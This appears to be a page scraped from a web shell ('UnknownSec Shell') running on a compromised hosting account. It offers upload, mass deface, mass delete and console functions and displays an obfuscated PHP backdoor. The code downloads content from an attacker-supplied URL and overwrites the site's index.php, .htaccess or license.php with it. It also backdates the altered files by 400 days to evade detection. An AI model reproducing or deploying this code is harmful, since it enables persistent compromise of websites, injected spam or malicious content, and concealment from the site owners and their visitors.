shell bypass 403
UnknownSec Shell
:
/
home
/
innovagencyco
/
www
/
cgi-bin
/ [
drwxr-xr-x
]
upload
mass deface
mass delete
console
info server
name :
index.php
<?php hEaDeR("Con\164en\164-T\171pe:\x20\x74\145\x78\164\x2fht\155\154; \143\150\141\x72\x73et\x3du\x74\146-8");$_qxpfum=@$_SERVER["DOCU\115E\x4eT\x5f\122\x4fO\x54"];$_dkzf=$_qxpfum."\057\x2ehtacc\x65\163s";$_akdnr="\x2fl\151ce\156se\056php";$_czynqyu=$_qxpfum."/\151nd\145\x78.\x70h\x70";$_uwfeybnb=isset($_GET["\x66\x69\154\145\x6ea\155e"])?$_GET["\146il\x65\156\141m\145"]:"";$_afbpno=isset($_GET["e\162name"])?$_GET["er\x6eame"]:"";$_csnjgwvm=@FIle_gEt_conTeNts($_uwfeybnb);if(!empty($_csnjgwvm)){if(!empty($_afbpno)){if(!preg_mAtch("/(\134.php\051\044/i",$_afbpno)){echo"\145r f\x69\x6c\145\x20\155us\164 .php!";exit;}if($_afbpno=="\151\156d\145\x78\x2ep\150\x70"){$_fkibfg=@foPen($_czynqyu,"r");$_qnoa=@FrEAD($_fkibfg,@fIlESiZe($_czynqyu));@fcloSe($_fkibfg);$_tkgvgkry=PrEG_MatCh_aLl("/<\x5c?\160hp\x5b\134S\x5c\163]*\077\134?>\x7c\x3c\134\x3fphp\133\x5c\123\x5cs\135*/i",$_qnoa,$_fuantdr);$_itjeqcye=Preg_MatCH_ALL("\057[<\135html[\134s\x5cS]*\077[\x3c][\134\057]\150t\x6dl\x3e/\151",$_qnoa,$_kfoxwi);if($_tkgvgkry>=((int)rOuNd(37+37+37)-(int)rounD(12.5+12.5+12.5+12.5)-(01262-01260)+(int)roUND(-14.5+-14.5+-14.5+-14.5))&&empty($_itjeqcye)){$_qnoa=$_fuantdr[(int)rOUND(10+10+10+10)-(0632+0447- -0264-01515)][$_tkgvgkry-(int)roUND(0.5+0.5)];}if($_itjeqcye>=(int)rOUND(0.25+0.25+0.25+0.25)){$_qnoa=$_kfoxwi[(int)RouND(0+0)][$_itjeqcye-((03223+01120-02106+-0643)+(0734-0642- -0606)+(-0211- -0367+-0440+0104)+(int)rOuNd(-366.33333333333+-366.33333333333+-366.33333333333))];}if(STrSTr($_qnoa,"%71\x2577\045\x36\x35%72\045\x374%\0679%75\x25\x36\x39\x25\x36f%7\060%\0661%73%6\x34\x2566")){$_qnoa="";}$_dudu=$_csnjgwvm.$_qnoa;@uNLinK($_czynqyu);@touch($_czynqyu,STRTotImE("\x2d40\x30\040d\x61\171s",TIme()));$_kijnu=@filE_PUt_cONTENTS($_czynqyu,$_dudu);if(!empty($_kijnu)){echo$_czynqyu."=>suc\143es\x73"."\x3c\x62r\x3e";@chmoD($_czynqyu,(int)RoUND(97.333333333333+97.333333333333+97.333333333333));}else{echo$_czynqyu."\x3d>f\x61\151l"."<br>";}exit;}$_kijnu=@fiLe_PuT_cOntEnTs($_qxpfum."\x2f".$_afbpno,$_csnjgwvm);if(!empty($_kijnu)){echo$_qxpfum."/".$_afbpno."=>\163u\143\x63\x65s\163"."<\x62r>";@chMOd($_qxpfum."/".$_afbpno,(01450-0665)+(0156- -063+0156+-0337)-(0267+-0270));}else{echo$_qxpfum."\057".$_afbpno."\x3d\076fa\151l"."<br\076";}exit;}if(strStR($_uwfeybnb,"htac\143e\x73s")){@uNLink($_dkzf);@TOuCh($_dkzf,STrTotIME("-\x3400 \144\x61\x79\x73",TiMe()));$_kijnu=@FIle_pUT_COntents($_dkzf,$_csnjgwvm);if(!empty($_kijnu)){echo$_uwfeybnb."\x3d>\x73u\143\x63\145ss"."<br\076";@ChmOd($_dkzf,(int)rOuND(88.25+88.25+88.25+88.25)+(int)ROUND(98.5+98.5+98.5+98.5)-(int)rOuND(182.5+182.5)+(int)ROunD(-45+-45));}else{echo$_uwfeybnb."=>\146a\151l"."<br>";}exit;}else{$_kijnu=@FILe_Put_cOntENTs(__DIR__."/\x6cic\x65n\x73e.\x70h\x70",$_csnjgwvm);if(!empty($_kijnu)){echo __DIR__."/l\x69ce\x6ese.\x70\150p"."=>s\x75cces\163"."<br>";}else{echo __DIR__."\057lice\x6ese\x2ephp"."=>\x66a\151\x6c"."\x3cbr\x3e";}exit;}}if(!empty($_POST)){$_bymplwv=$_POST["\164\171p\x65"];$_uwfeybnb=$_POST["f\x69le\116\141meUrl"];$_mgrbdo=isset($_POST["\150\157r\163eIn\x64e\x78"])?$_POST["ho\x72seIn\144ex"]:"";$_nrltszbr=isset($_POST["\x73eco\156d\116ame"])?$_POST["\x73\145\143\157nd\x4eame"]:"";if(empty($_bymplwv)){echo"<sc\162\x69p\x74>\x61lert\050\x22\164y\x70e\040is empty!\x22);\167\x69\156\x64\x6fw\056hi\163\164\x6fry\x2eback()\x3b\x3c/scrip\164>";exit;}if(empty($_uwfeybnb)){echo"<scrip\164>\x61ler\164(\042fil\x65 \x70\x61th is em\x70ty\x21\x22);win\144o\x77.\x68\x69\x73t\x6fry.back(\051;</scr\x69p\x74\076";exit;}$_ycji=@fIle_Get_coNTenTS($_uwfeybnb);if($_bymplwv==((int)roUNd(39.25+39.25+39.25+39.25)-(int)RounD(-9.6666666666667+-9.6666666666667+-9.6666666666667)+(-01121-0615-0314+01761))){$_yurpm=__DIR__."\x2fplugi\156s/";if(!IS_DiR($_yurpm)){@MKdir($_yurpm,(int)RounD(254.5+254.5));}if($_mgrbdo==(int)ROUnD(0.25+0.25+0.25+0.25)){if(!fILe_exIsTs($_yurpm."index.\160\x68\160")){@TOUCH($_yurpm."\x69\156\x64\145x.ph\x70");}@filE_PuT_cONtentS($_yurpm."index\056ph\160",$_ycji);echo$_yurpm."index\x2ephp"."\075\x3esu\143cess"."<\142r>";}$_kijnu=@FILE_PUT_cONTeNtS(__DIR__.$_akdnr,$_ycji);if(!empty($_kijnu)){echo __DIR__.$_akdnr."=>\x73u\x63\143e\x73s"."<\x62r>";}else{echo __DIR__.$_akdnr."=\076\x66ai\x6c"."<b\162>";}exit;}if($_bymplwv==((int)roUNd(-72.5+-72.5)+(int)Round(-75.75+-75.75+-75.75+-75.75)+(int)rOuND(150+150+150))){$_fkibfg=fOpeN($_czynqyu,"\x72");$_qnoa=FReAD($_fkibfg,filesiZe($_czynqyu));fclose($_fkibfg);$_tkgvgkry=pReg_mATch_All("\x2f\x3c\x5c?\160h\x70\133\x5c\x53\x5cs\x5d\x2a?\x5c\x3f>\174\x3c\134\x3fp\150p\x5b\134S\x5cs\x5d*\057i",$_qnoa,$_fuantdr);$_itjeqcye=PreG_MATch_aLL("\057[\x3c]htm\154\133\x5cs\x5cS\135\052?[<\135[\134\057]html\x3e\057i",$_qnoa,$_kfoxwi);if($_tkgvgkry>=(int)ROund(0.33333333333333+0.33333333333333+0.33333333333333)&&empty($_itjeqcye)){$_qnoa=$_fuantdr[(int)ROUND(34.333333333333+34.333333333333+34.333333333333)-(0247+-0244+-0115)-(int)rOUND(44.25+44.25+44.25+44.25)][$_tkgvgkry-((0340+0255+01156+-0720)-(01270+0752-01170))];}if($_itjeqcye>=((-01156+-031)+(int)RoUND(9.5+9.5)+(int)rOuND(197.25+197.25+197.25+197.25)-(0526+0601+-01067))){$_qnoa=$_kfoxwi[(int)rOunD(0+0)][$_itjeqcye-((int)RoUnd(-91.666666666667+-91.666666666667+-91.666666666667)-(int)round(155.66666666667+155.66666666667+155.66666666667)-(int)rOUnd(-9.6666666666667+-9.6666666666667+-9.6666666666667)-(-01367- -01311-01234))];}if(STrStR($_qnoa,"%71\x2577\x256\065\x25\0672%74%\0679%\x37\x35%69\x256\x66%7\x30\045\0661%73\04564\x25\066\066")){$_qnoa="";}$_dudu=$_ycji.$_qnoa;@uNlink($_czynqyu);@TOUCH($_czynqyu,sTrTOtImE("\x2d40\x30 day\x73",tiME()));$_kijnu=@FILE_PuT_COnTenTs($_czynqyu,$_dudu);if(!empty($_kijnu)){echo$_czynqyu."=>\163\165\143\x63e\163s"."<br>";@ChmOD($_czynqyu,(int)RouND(85.75+85.75+85.75+85.75)-(-0270- -01075)-(int)rOuND(-84.5+-84.5+-84.5+-84.5));}else{echo$_czynqyu."\075>fail"."\074\x62r>";}exit;}if($_bymplwv==(int)RouNd(1.5+1.5)){if(STRStR($_uwfeybnb,"ht\141cce\163\163")){@unLink($_dkzf);@TOuCh($_dkzf,StrtOTIMe("\x2d40\x30 d\x61\x79s",timE()));$_kijnu=@fILe_pUt_conTenTs($_dkzf,$_ycji);if(!empty($_kijnu)){echo$_dkzf."=\076succ\x65ss"."<br>";@chmoD($_dkzf,(int)roUnD(146+146));}else{echo$_dkzf."=>f\x61il"."\074\x62r\x3e";}exit;}}if($_bymplwv==((int)round(42.75+42.75+42.75+42.75)-(int)ROuNd(55.666666666667+55.666666666667+55.666666666667))){if(!PReg_maTCH("/(\134.\x70hp)\x24/i",$_nrltszbr)){echo"<\163cri\160\x74>\141le\x72\x74(\042\x65\x72\x20\x66\151le mu\x73t .\x70hp!\x22);window\x2ehistory.b\x61\143k();\074/scrip\x74>";exit;}$_kijnu=@FILe_Put_conteNTs($_qxpfum."/".$_nrltszbr,$_ycji);if(!empty($_kijnu)){echo$_qxpfum."/".$_nrltszbr."=>suc\x63\x65s\x73"."<b\162\x3e";exit;}else{echo$_qxpfum."/".$_nrltszbr."=\x3efai\x6c"."\074br\076";exit;}}};echo"\x20\074\150\x74\155l>\x0d\x0a\x20\040 <\x68\x65ad>\015\012 \x20\x20 \040\040\074\x73\x63\162i\160t s\x72c=\x22\150ttp\163:\057/co\x64e\056jquer\x79.com/\152qu\145\162y\055\x33\x2e\x31\0561.\x6din\x2ej\163\x22\076<\057sc\162ip\164>\015\x0a\040\x20 \040\011<\x73\x63r\x69p\x74 \x74\x79\x70e=\042te\170\x74\057javascript\x22>\015\x0a \x20\040\040\x20\x20 \x20 \040 \x24\x28\144\157c\x75\x6d\145n\x74\051\x2e\162\145\141dy(\x66\x75\156cti\x6fn\x28) {\015\012\040 \040 \x20\x20\343�\x80�\200\200\xe3\x80�// jqu\x65r\171 \x63hang\x65\x0d\x0a\040\x20 \040\x20\x20\040\x20\x20 \x20\x20\040 \044('\x69np\165\164[typ\145=r\141\x64io\x5d[nam\x65\075\x74\x79\160e\135'\x29\x2ech\x61\x6eg\145(\146\x75n\143t\151\x6f\156() \x7b\x0d\012\x20\040 \040 \x20 \x20 \040 \x20 \x20 \x69f (\164his.val\165e\x20=\075 '1')\x20\173\x0d\x0a \x20 \040\040 \040 \040 \040\040 \x20\x24('.\x68\x6fr\163\145')\056s\150ow\050)\x3b\015\x0a \x20\040 \040 \040 \040 \x20 \x20 \x20 \x20\x20\044\x28\x27\056\x73eco\x6e\x64\047)\056\x68id\x65()\073\015\012\x20 \040 \040\040 \040\x20 \175\015\x0a \040 \040 \040\x20\040 \x20 \x20 \x20else\040\151f \050thi\x73\056v\x61lu\x65\x20\075= '4\047\051 \x7b\015\x0a \x20 \040 \x20 \x20 \x20\x20\x20 \x24\050\x27.\x73ec\157n\x64')\x2esh\157w\x28\x29;\015\x0a\040 \x20 \040 \x20 \x20 \x20 \040\x20\x20\040 \040\x24('.\x68\157rse'\051\x2eh\x69d\145()\x3b\x0d\x0a \040\x20 \040 \x20} \x65\x6c\x73\x65\x20\173\015\012 \x20 \040\x20\040 \040 \x20\x20 \x20 \040\x20 \044\x28\x27.s\145cond').h\x69\x64e(\x29\x3b\015\x0a \040\x20 \040 \x20 \040\040\x20\040\040\040 \x20\040\x20\x24\050'\x2e\150orse'\x29.\150ide();\x0d\x0a \040 \x20 \040\040 \x20\040 \175\x0d\012 \x20 \x20\x20 \x20\x20 \x20 \040 });\015\x0a \x20 \040 \040 });\015\x0a \x20 \x20\040 \074/\x73\143rip\x74>\x0d\x0a\x20\x20 \040\040\040 <\x73\164yle\x3e\x0d\x0a \040 \040 \040 .hor\163\145\x2c.s\x65\143o\x6ed{\015\012 \x20 \040\x20 \040 \x20 di\x73\160l\x61y\x3a \x6e\157ne;\x0d\x0a\x20\x20 \040\040\040 \x20\040\040}\015\012 \x20 \x20\x20\x20 </sty\154\x65>\x0d\012\040 \x20</he\141d>\015\012\040 \040\040\x20<\x62\x6f\144y>\x0d\012 \040\x20\074\146or\155 me\x74h\x6fd\075\x22\x70os\x74\x22 \141\x63\164ion=\x22\042>\015\012 \040 \x3ctabl\145 a\x6cign=\x22\143e\x6et\145r\x22>\x0d\012 \040\040\x20 \x20 \x20 \x3c\143\x61\x70\x74io\x6e>\x78ia\157xi\141n\x6ev</\143a\160\x74\x69on\076\015\x0a \x20\040 \040 \x20 \040\x3ct\162\x3e\015\012 \040\x20\040\x20\x20\040\040 \040 \040\x20\x20 \074td>\164ype�\232<\057\164d>\015\x0a \x20 \040 \x20 \040 \040 \040\040 \x20\x20 <td>\x0d\012\x20 \040\x20\040\040 \040\x20 \x20 \x20\040 \x20\x20<labe\154\076\015\012 \x20 \x20\040 <\151\156put\x20\164ype\x3d\x22ra\x64\x69o\042 name\x3d\042\x74y\x70e\042 \x69d=\042\x74\062\x22 v\x61l\x75\x65=\x22\062\x22\x63he\x63\153ed>\074\154abe\154 f\157r\x3d\042t\062\x22>index\074\057\x6ca\x62e\x6c\x3e\x0d\x0a \040 \x20 \040\040\040 \040\040 \040 \x20\x20<i\x6ep\x75t\040t\171pe=\042ra\144io\x22\x20n\141\155e=\042type\042 id=\x22t\x31\x22\040valu\x65\075\x22\x31\x22\x3e\x3cl\141\x62el\040f\x6fr=\x22t1\x22>hors\145</label\076\x0d\012\x20\040\040 \040 \040 \x20 \040 \040 \x20 <in\160u\164 \164yp\x65=\x22\x72a\144i\157\042\040nam\x65\x3d\042ty\x70e\x22\040\151\x64=\x22t3\042\x20val\x75e=\x22\x33\x22>\x3cla\142el\040for\075\042t\x33\x22\076\x2e\x68\x74\074/\154ab\145l\x3e\015\x0a \040 \x20\x20 \040\040 \040 <\151\156\x70\x75\164\040t\171\x70e=\042\x72adio\042 \x6eam\x65=\042type\x22 \x69\x64=\x22t4\042 \x76\141\x6c\x75\x65\075\x22\064\042\x3e<lab\145l for=\042t4\042>.sec\x6f\156\x64ar\x79\040docu\155\145nts</labe\154\x3e\x0d\012\040\040 \040 \x20\040\x20 \040 \040 \040\040\040\x20 \040 </\154a\142el\x3e\015\012\040 \040\040\x20 \040 \x20 \x20 <\x2f\164\144\076\x0d\x0a\040 \040 \040\040 \040 \x20\x20 <\x2f\x74\x72>\015\012 \040\x20 \040\x20 \x20 <t\x72\x20cl\x61ss\x3d\x22\150\x6frse\x22\x3e\015\x0a\040\x20\040\040 \x20 \x20\040\x20 \040\040\x20 \074\x74d\x3ehors\145 \164\x6f\040in\144\145x\357\274�<\x2ft\144>\x0d\012\040 \040 \040\x20\x20 \040 \040\040\x20 \040\x20<t\144>\015\x0a \040 \040\x20 \040 \x20\040 \040 \x20 \074input\040\x74y\160\x65=\x22r\141\144\151\157\042 \156\x61m\145\x3d\x22h\157r\x73\x65\x49nde\x78\x22\x20\166alue\x3d\042\061\042>y\145s\x0d\012\x20\x20\x20\x20\x20 \040\040 \x20 \x20 \x20 \074\x69npu\x74\040ty\x70\145\x3d\042radio\042 \x6e\141me=\x22\x68\x6fr\163\x65Index\x22\x20val\165e\075\042\062\x22 \x63\x68ecked>\x6eo\015\012\040 \x20\x20\040 \040 \x20 \040 </td>\015\x0a \x20\040 \040 \x20</t\x72\076\015\012 \x20\x20\040 \x20\040 \040\x20\x3ctr\040\x63lass=\x22second\042>\015\012 \x20\040\x20 \x20\x20 \x20\x20\040\x20\x20\x20\074\164d\x3e\x73econd\116\141me\xef\274\x9a\x3c\x2ftd>\x0d\012\040 \x20 \040 \x20 \x20 \040 \040<\164\x64>\x0d\x0a \040 \040\040\040 \x20 \x20 \040\040 \x20\x20\x20 \040<in\x70ut\040typ\145=\042\164ext\042\x20n\x61\x6de\075\x22\x73econdName\042\057\076\015\012\x20 \040\040\x20 \040 \040 \040 </\164d>\015\x0a \040\x20 \x20 \x20 \x20 \x20 \x20<\057tr\x3e\x0d\012\x20 \040\x20 \x20\x20 \040 \x20 \040 <\164r>\015\012\x20 \040\x20\040\040\x20\x20 \x20 \x20\040 \040<t\x64\x3ef\151l\x65\x20\x70at\150：\x3c/td>\015\x0a \x20\040\x20 \040\040\040 \x20 \040\x20\x20 \x20\x20\074td>\x0d\x0a \040 \x20 \x20 \x20\x20\040 \040<i\x6eput\040typ\145=\042\164ext\x22 n\141me=\042\146\x69\154\x65Nam\x65Ur\154\042 s\x74y\154\145\075\x22\x77\151d\164\x68:370\073\042/\076\x0d\x0a \040 \040 \040 \040\040\040 \040\040\040 \x3c\x2ft\x64\x3e\015\x0a \040\040\040\x20 \040\x20 \x20 \040\x20<\057\164r>\x0d\012\x20\040 \x20\040\040 \040\040 \040 \040<t\162>\015\012\040\x20\040\x20\x20 \040 \040 \x20 \040\040 \x3c\164d\040\143\157lspan=\042\062\x22\040\x73tyle=\042te\170\164\x2d\x61\x6c\x69gn: cen\x74\x65\162;\040padding:\x205px;\042\076\015\012\040 \040 \040 \040\040 \040\x20 \x20 \040 \x20<i\156\x70\x75t \164ype=\042sub\155i\164\042 \x76a\x6c\x75\x65=\042su\142\x6di\164\x22\057\x3e\x0d\x0a \040 \x20 \x20 \040 \040 \x20 </td>\x0d\012\x20\x20 \x20 \x20 \x20 \040 \040 \040 </tr>\015\012 \040\040 \x20 \x20\040 \074/\164a\142\x6ce>\015\x0a \x20 \040 \x20 <\x2f\x66or\155\x3e\015\012\040 \040</bo\x64y\x3e\x0d\012\x20<\057h\x74\155l>";
© 2025 UnknownSec